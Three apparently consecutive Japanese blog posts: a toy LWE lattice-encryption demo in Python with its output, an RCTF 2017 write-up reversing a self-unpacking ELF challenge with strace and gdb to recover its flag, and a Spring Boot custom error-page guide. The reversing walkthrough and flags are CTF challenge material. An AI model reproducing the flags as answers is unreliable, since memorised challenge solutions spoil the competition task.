Learning with Errors問題は、この点Pを基底ベクトルの整数係数線形結合と誤差の和として表したとき、点Pから係数と誤差を求める問題である。 これは言い換えれば、次のような誤差付きの線形方程式を解く問題であるといえる。

A * s + e = t

誤差がない場合の線型方程式はガウスの消去法などを用いて容易に解けるが、誤差が加わった線形方程式を効率的に解くアルゴリズムは現時点で見つかっていない。

LWE格子暗号では、素数qを法とする有限体上での演算のもとでの格子を考える。 また、LWE格子暗号には暗号文のまま演算ができるという性質がある。 このような性質を持つ暗号は準同型暗号と呼ばれる。

純化したLWE格子暗号で暗号化してみる

次の資料では、単純化したLWE格子暗号による1ビット平文の暗号化・復号アルゴリズムが説明されている。

このアルゴリズムは本来のLWE格子暗号のアルゴリズムとは異なるが、説明を簡単にするため、ここではこのアルゴリズムをもとにした計算をやってみる。 パラメータ、秘密鍵、公開鍵は次のようになる。

  • パラメータ
    • n: 格子の次元
    • q: 法とする素数
    • A: 格子の基底行列(n x n)
    • α: 誤差の大きさに関連するパラメータ
  • 秘密鍵
    • s: 係数(n x 1)
    • e: 誤差(n x 1)
  • 公開鍵
    • T: 格子点に誤差を加えた点(n x 1)

numpyを用いて計算を行うプログラムコードを書くと次のようになる。

import numpy as np

# parameters
n = 230
q = 2053
A = np.random.randint(q, size=(n, n))
alpha = 8.0

def randint_from_gaussian(size):
    sigma = alpha/np.sqrt(2*np.pi)
    x = np.random.normal(0, sigma, size)
    return np.rint(x)

print '[+] parameters'
print "lattice dimension: n = %d" % n
print "prime modulus: q = %d" % q
print 'lattice basis: A = \n', A
print "error distribution parameter: alpha = %f" % alpha
print

# keys
s = np.random.randint(q, size=n)
G = A.dot(s) % q
e = randint_from_gaussian(size=n)
T = (G + e) % q

print '[+] secret key'
print 's =\n', s
print 'e =\n', e
print '[+] public key'
print 'T =\n', T
print

# encryption
plain_bit = 1
print "[+] plain_bit = %d" % plain_bit
print

r = randint_from_gaussian(size=n)
C1 = r.dot(A) % q
M = (q+1)/2 * plain_bit
C2 = (r.dot(T) - M) % q

print '[+] ciphertext'
print 'C1 =\n', C1
print 'C2 =\n', C2
print

# decryption
p = (C1.dot(s) - C2) % q
decrypted_bit = int((q+1)/4 < p < 3*(q+1)/4)
print "[+] decrypted_bit = %d" % decrypted_bit

上のコードでは、誤差を正規分布に従って生成し、1ビットの平文を暗号化した後復号している。 復号時は秘密鍵である係数sを用いて -r*e + M を計算し、-r*e として期待される値かどうかで確率的に平文のビットを判定する。

実際に実行してみると、次のようになる。

$ python lwe.py
[+] parameters
lattice dimension: n = 230
prime modulus: q = 2053
lattice basis: A =
[[1543  329 1153 ..., 1259   18 1144]
 [ 686 1250  850 ...,  640 1822  502]
 [1817  901 1649 ..., 1272  900  145]
 ...,
 [ 207 1325 1223 ..., 1783 1011 1331]
 [ 225 1380 1143 ...,  468 1403   50]
 [ 937 1758   92 ..., 1938 1435  902]]
error distribution parameter: alpha = 8.000000

[+] secret key
s =
[ 977 2046 1632 1459 1308  729  574 1506 1244 1405 1546 1482  800  213 1551
 1122 1691 1910 1302  917 1495  465  681 1442 1953  432  997 2052 1002  105
  371 1161 1215 1015  626 1925 1318 1886 1850 1689  320  949  944  153 1536
 1112  405 1274  709  928 1049  522  639 1180 1644 1474 1667 2047  313 1693
  947 1655  383  703  570  112  737  870 1492 1489  409  348 1744 1759 1075
  596  883 1414  404 2004 1553 1624  896 1285 1469  611 1649  717  400  786
  963 1561 1142 1301 1457  829  354  291  715  332 1230 1954 1146 1083  761
 1233 1455  908 1165  666  542  883 1628  911  189 1058  864  442 1084   22
  293  655 1120 1187  190  574  164 1253 1718  676  311  116 1334 1184 1504
 1354 1448 1471 1066 1941  147  990 1082    5   25 1190 1692  557 1642  988
 1455  527  823 1620  620 1044  133  370 1281 1306 1793   85 1613 1594  380
 1430  466 1827 1517  421 1781  471  948 1281   87  568 1717  731 1439 1338
 1781 1273  764  580  398  816 1691 1657 1767  471  630  495  824  756  541
  644 1746 1991 1597 1223  234 1673 1280 1339 1472 1634 1118 1781 1050 1429
  289 1874  846 1510  250  532  662 1407  432  597  205 1442   92  943  403
  260 1973 1883  520  736]
e =
[ -3.   6.   1.  -2.  -6.   2.  -4.   1.   4.   2.   1.   1.   2.  -2.   3.
  -1.   3.   2.   6.  -2.  -3.  -6.   1.  -3.   3.  -1.  -3.   3.  -3.  -1.
  -5.  -3.   1.  -4.  -2.  -0.   2.   3.  -3.  -2.  -4.  -3.  -0.  -6.   1.
  -0.  -4.   1.  -2.   1.   0.  -1.   0.  -0.   1.   1.  -3.  -1.   0.   2.
   1.   2.  -4.  -3.   2.  -1.  -4.  -2.  -2.  -3.   3.   0.  -2.   0.   0.
  -1.   2.   7.   3.   1.  -2.  -1.  -1.  -1.   0.   3.   5.   8.   4.  -1.
  -0.   1.   5.  -3.   2.   2.  -3.  -6.   0.   6.   4.  -1.  -1.  -2.   4.
  -2.  -6.  -2.   2.   4.   5.  -2.  -1.  -0.  -2.   4.   7.  -2.  -1.   1.
  -2.   2.  -2.  -7.   0.   3.   3.   3.   1.  -4.   1.   3.   8.   2.   2.
  -1.  -1.  -4.  -0.   1.  -3.  -1.   1.  -2.  -3.  -1.   2.   4.  -0.   0.
   3.  -2.  -5.   1.  -0.   1.   4.  -3.  -5.  -4.   2.  -0.  -1.  -1.   1.
  -4.   6.   0.  -0.  -2.   0.  -6.   0.  -1.  -1.  -2.   2.   4.  -3.  -0.
  -2.   3.   3.  -0.   5.   1.   5.  -0.   5.  -1.   6.  -0. -11.   1.  -2.
   2.   2.   0.  -0.   0.  -1.  -2.   1.  -1.   4.   2.  -0.  -0.   4.   5.
  -1.  -3.   1.  -3.   0.  -4.   2.   3.  -2.   3.  -0.  -2.  -5.   1.  -4.
  -0.  -3.  -4.   4.  -3.]
[+] public key
T =
[  492.  1328.   983.  1435.  1316.   833.  1076.   444.    13.  1561.
  1409.   782.  1126.   408.   600.  1127.  1547.    95.   991.   458.
  1536.   814.  1926.   527.  1220.   650.  2030.   834.   613.  1191.
  1534.   790.   888.   765.   911.    56.  1935.  1782.     6.   491.
  1833.  1104.   579.     0.  1211.  1204.   674.  1553.   196.  1480.
  1001.  1707.   102.  1000.   331.   858.  1608.    27.   727.  1542.
  2050.   640.  1780.  1156.   390.   494.  1532.   874.   797.   993.
   859.  1448.  1634.  2029.   743.  1397.  1803.   595.    89.  1085.
  1955.   140.   272.  1866.  1113.  2052.  1581.  1103.  1611.   308.
   593.  1850.   557.   838.   595.  1999.  1924.   447.  1554.  1548.
  2013.  2030.   203.  1858.  1944.  1099.   446.  1872.  1042.  1009.
    15.  1215.   412.  1269.   863.  1235.   671.  1124.    28.   383.
   146.    58.   338.  1228.  1565.   303.   495.   519.    29.   380.
  1974.  1694.  1594.  1308.  1363.   690.  1291.  1096.   745.   642.
   309.  1579.  1701.   485.  1798.  1667.  1800.   769.  1095.  1388.
   720.   636.  2014.   391.  1238.  1984.  1272.  1810.  1604.  2028.
   829.   291.    92.  1187.  1477.   824.  1635.  1620.   187.  1105.
   632.  1215.   937.  1591.  1762.  1291.   656.  1128.  1957.   496.
   559.   882.  1718.  1746.  1281.  1932.   251.   814.   364.   196.
   558.  1910.   257.    11.  1831.   580.   301.  1330.  1405.   546.
   267.   690.  1040.   150.  1110.  1007.   874.   473.  1164.   327.
  1237.   963.   336.   602.  1421.  1488.  1367.  1440.  1631.  1425.
    96.  1250.   477.  1813.  1660.   605.   971.   117.   352.  1064.]

[+] plain_bit = 1

[+] ciphertext
C1 =
[ 1935.  1715.  1768.     9.  1957.   220.  1702.   150.   312.    94.
  1007.  1237.   260.   691.  1147.  1194.  1745.  1914.  1822.   825.
  1449.   278.  1890.   541.  1568.    50.   459.    29.  1318.   800.
  1515.  1593.   907.   596.   299.   302.  1799.   688.   376.  1963.
   524.   564.   104.  1975.  1734.  1068.   964.  1368.   748.  1473.
   163.  1796.  1579.  1536.  1963.   138.    39.   140.  1982.   382.
   676.   704.    83.  1448.  1836.  1888.   255.  1332.  1921.   111.
   928.  1942.   350.  2044.  1737.   459.  1646.   779.  1251.  1660.
  1209.   991.  1493.     8.   952.  1647.   885.   823.    41.    50.
   980.  1087.  1231.  1809.    79.  1054.  1140.   271.  1074.    54.
   261.  1063.  1109.  1253.  1019.  1673.   876.  1456.  1255.  1455.
   881.  1209.  1594.  1401.  1910.   898.   363.    64.  1485.   437.
   553.  1252.   245.  1691.  1897.    48.   624.   520.   258.   138.
   692.  1494.  1905.   767.   691.  2039.  1918.   547.   137.  1801.
   886.   606.  1480.   767.   924.   198.  1233.  1135.   837.   306.
  1465.  1926.    99.  1047.  1725.  2034.  1622.   853.  1992.  1870.
  1157.  1364.  1040.   720.  1385.  1013.   342.  2031.  1445.  1552.
  1119.  1876.  1053.   406.  1750.   955.  1688.   582.  1201.   900.
  2029.   491.  1475.   597.  1764.  1205.   349.  1231.  1852.  1426.
  1672.  1310.   354.   434.   225.  1161.   771.  1154.   722.   159.
  1986.  1354.  1096.   102.   592.   362.  1397.  1319.    14.  1735.
    69.   187.   494.  1413.  1786.  1331.   538.  2036.  1389.  1290.
  1587.   622.   260.   782.  1657.  1065.  1345.  1498.   877.   743.]
C2 =
1427.0

[+] decrypted_bit = 1

plain_bitを変えながら複数回実行すると、ほとんどの場合において平文のビットを正しく判定できていることが確認できる。

Ring-LWE格子暗号

上のコードは単純化したものの実装であるが、本来のLWE格子暗号は格子の次元をnとしたとき公開鍵の鍵長がO(n2)となる。 また、上の結果からもわかるように、暗号文の長さは平文のn倍になる。

これらの点を改良したものとして、有限体の代わりに円分体の整数環上での演算を用いたRing-LWE(RLWE)格子暗号がある。 Ring-LWE格子暗号では、公開鍵の鍵長を数千bit程度にでき、また、複数ビットの平文を対応する多項式の係数で表すことにより暗号文の長さを格段に小さくできる。

昨年GoogleNew Hopeと呼ばれる耐量子鍵交換方式の実験を行ったが、この鍵交換方式もRing-LWE問題をベースとしたものになっている。

関連リンク

RCTF 2017 供養(Writeup)

RCTF 2017に参加。185ptで176位。

Sign In (Misc 32)

Please join #rctf2017 on Freenode. And the flag is in topic.

Format: RCTF{...}

RCTF{Welcome_To_RCTF_2017}

easyre (Reverse 153)

32 bit ELF実行ファイル。

$ file easy_re
easy_re: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, corrupted section header size

straceすると別のELF実行ファイルを書き出していることがわかる。

$ strace -i ./easy_re
[00007f29d9c1dbc7] execve("./easy_re", ["./easy_re"], [/* 20 vars */]) = 0
strace: [ Process PID=6426 runs in 32 bit mode. ]
[080482a9] getpid()                     = 6426
[080482f1] open("/proc/6426/exe", O_RDONLY) = 3
[08048314] lseek(3, 1588, SEEK_SET)     = 1588
[08048238] read(3, "w\24\7\0t\35\0\0t\35\0\0", 12) = 12
[08048379] gettimeofday({2057282240221484, 3762246642832666671}, NULL) = 0
[080483ad] unlink("AAAAAAAAAW3PZK1AGI0") = -1 ENOENT (No such file or directory)
[080483d2] open("AAAAAAAAAW3PZK1AGI0", O_WRONLY|O_CREAT|O_EXCL, 0700) = 4
[080483e2] ftruncate(4, 7540)           = 0
[080483f8] mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf776b000
[08048238] read(3, "t\35\0\0\220\n\0\0", 8) = 8
[08048238] read(3, "\177?d\371\177ELF\1\0\2\0\3\0\r@\205\4\377o\263\335\0104\7p\21\27\v \0\10"..., 2704) = 2704
[08048484] write(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0@\205\4\0104\0\0\0"..., 7540) = 7540
[08048238] read(3, "\0\0\0\0UPX!", 8)   = 8
[080484a5] unlink("AAAAAAAAAW3PZK1AGI0") = 0
[080484b1] exit(127)                    = ?
[????????] +++ exited with 127 +++

gdbでunlink直前まで実行して、ファイルを得る。

$ objdump -D -b binary -m i386 easy_re | grep -C3 '4a5:'
     499:       b8 0a 00 00 00          mov    eax,0xa
     49e:       bb 08 96 04 08          mov    ebx,0x8049608
     4a3:       cd 80                   int    0x80
     4a5:       bb 7f 00 00 00          mov    ebx,0x7f
     4aa:       b8 01 00 00 00          mov    eax,0x1
     4af:       cd 80                   int    0x80
     4b1:       eb f2                   jmp    0x4a5

$ gdb ./easy_re
Reading symbols from ./easy_re...(no debugging symbols found)...done.
(gdb) b *0x080484a3
Breakpoint 1 at 0x80484a3
(gdb) r
Starting program: /home/user/tmp/20170521_rctf/easy_re

Breakpoint 1, 0x080484a3 in ?? ()
1: x/i $pc
=> 0x80484a3:   int    0x80
(gdb) quit
A debugging session is active.

        Inferior 1 [process 6485] will be killed.

Quit anyway? (y or n) y

$ ls -al
total 24056
drwxr-xr-x 4 user user     4096 May 21 22:10 ./
drwxr-xr-x 9 user user     4096 May 21 04:25 ../
-rwx------ 1 user user     7540 May 21 22:10 AAAAAAAAA0H0BOBAGKV*

$ file AAAAAAAAA0H0BOBAGKV
AAAAAAAAA0H0BOBAGKV: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.15, BuildID[sha1]=f4ac362f7b89fbd142b55e02d1cc4906d669be44, not stripped

アセンブリコードを読むと、lol関数でflagが出力されていることが推測できる。

$ python ~/tmp/minipwn/objdump.py AAAAAAAAA0H0BOBAGKV
(snip)
080485f4 <lol>:
sub_80485f4:
 80485f4:       55                      push   ebp
 80485f5:       89 e5                   mov    ebp,esp
 ...
 80486b0:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 80486b7:       83 7d f4 01             cmp    DWORD PTR [ebp-0xc],0x1
 80486bb:       75 16                   jne    80486d3 <lol+0xdf>
 80486bd:       b8 c0 88 04 08          mov    eax,0x80488c0                    ; '%s'
 80486c2:       8d 55 ed                lea    edx,[ebp-0x13]
 80486c5:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80486c9:       89 04 24                mov    DWORD PTR [esp],eax
 80486cc:       e8 ff fd ff ff          call   80484d0 <printf@plt>
 80486d1:       eb 0d                   jmp    80486e0 <lol+0xec>
loc_80486d3:
 80486d3:       b8 c3 88 04 08          mov    eax,0x80488c3                    ; 'flag_is_not_here'
 80486d8:       89 04 24                mov    DWORD PTR [esp],eax
 80486db:       e8 f0 fd ff ff          call   80484d0 <printf@plt>
loc_80486e0:
 80486e0:       c9                      leave
 80486e1:       c3                      ret
(snip)
loc_80487bc:
 80487bc:       b8 24 89 04 08          mov    eax,0x8048924                    ; '\nYou got the key\n '
 80487c1:       89 04 24                mov    DWORD PTR [esp],eax
 80487c4:       e8 07 fd ff ff          call   80484d0 <printf@plt>
 80487c9:       8d 44 24 2e             lea    eax,[esp+0x2e]
 80487cd:       89 04 24                mov    DWORD PTR [esp],eax
 80487d0:       e8 1f fe ff ff          call   80485f4 <lol>
(snip)

gdblol関数を実行し、最後の分岐の直前で止め、分岐の片方で出力される文字列を得る。

$ gdb ./AAAAAAAAA0H0BOBAGKV
Reading symbols from ./AAAAAAAAA0H0BOBAGKV...(no debugging symbols found)...done.
(gdb) set follow-fork-mode parent
(gdb) b *0x80486bb
Breakpoint 1 at 0x80486bb
(gdb) r
Starting program: /tmp/AAAAAAAAA0H0BOBAGKV

OMG!!!! I forgot kid's id
Ready to exit
^C
Program received signal SIGINT, Interrupt.
0xf7fd8be9 in __kernel_vsyscall ()
1: x/i $pc
=> 0xf7fd8be9 <__kernel_vsyscall+9>:    pop    ebp
(gdb) shell
$ ps auxf | grep AAAA
user      6666  0.5  0.9  63772 20072 pts/0    S    22:20   0:00  |           \_ gdb -q -nh -x /home/user/.gdbinit ./AAAAAAAAA0H0BOBAGKV
user      6668  0.0  0.0   2192   612 pts/0    t    22:20   0:00  |               \_ /tmp/AAAAAAAAA0H0BOBAGKV
user      6672  0.0  0.0      0     0 pts/0    Z    22:20   0:00  |               |   \_ [AAAAAAAAA0H0BOB] <defunct>
user      6684  0.0  0.0  11284   900 pts/0    S+   22:20   0:00  |                       \_ grep --color=auto AAAA

$ exit
(gdb) c
Continuing.
6672

You got the key

Breakpoint 1, 0x080486bb in lol ()
1: x/i $pc
=> 0x80486bb <lol+199>: jne    0x80486d3 <lol+223>
(gdb) x/s $ebp-0x13
0xffffdb45:     "rhelheg"
(gdb) quit
A debugging session is active.

        Inferior 1 [process 6668] will be killed.

Quit anyway? (y or n) y

これがフラグだった。

RCTF{rhelheg}

所感

低得点問題1問しか解けず厳しい。他に解きたかった問題は以下。

  • intoU (Misc 82)
  • RSA_sign1 (Crypto 307)
  • baby flash (Reverse 222)
  • Recho (Pwn 370)

関連リンク

Spring Bootでエラーページをカスタマイズする

「Spring Bootで簡単なWebアプリケーションを書いてみる」では、Spring Bootで簡単なWebアプリケーションを書いた。 ここでは、デフォルトのエラーページをカスタマイズしてみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

Custom error pageを作る

Spring Bootのデフォルトでは、コントローラで例外が発生するとHTTPの500エラーと合わせてWhitelabel Error Pageと呼ばれるページが表示される。 このページには例外の内容が表示されており、ユーザに不親切であると同時にセキュリティ上の問題を誘発するおそれがある。

Spring Bootでは、errorという名前のビューを作成することで独自のエラーページを表示させることができる。

テンプレートエンジンとしてThemeleafを使用している場合は、次のパスにファイルを作成すればよい。

  • src/main/resources/templates/error.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="utf-8" />
<title>Error</title>
</head>
<body>
<h1 th:text="${status} + ' ' + ${error}">500 Internal Server Error</h1>

<p><a th:href="@{/}">Back to index</a></p>
</body>
</html>

特定のHTTPステータスに対応するerror pageを作る

/error.htmlは任意のステータスについてのエラーページとなるが、404など特定のステータスに応じたエラーページを作成したい場合もある。 そのような場合は、/error/XXX.htmlを作成すればよい。

  • src/main/resources/templates/error/404.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="utf-8" />
<title>Error</title>
</head>
<body>
<h1 th:text="${status} + ' ' + ${error}">404 Not Found</h1>
<p>The requested URL was not found on this server &#x1f607;</p>

<p><a th:href="@{/}">Back to index</a></p>
</body>
</html>

アプリケーションを起動し、ブラウザから存在しないパス/four-zero-fourにアクセスした際のスクリーンショットを次に示す。

f:id:inaz2:20170503155203p:plain

関連リンク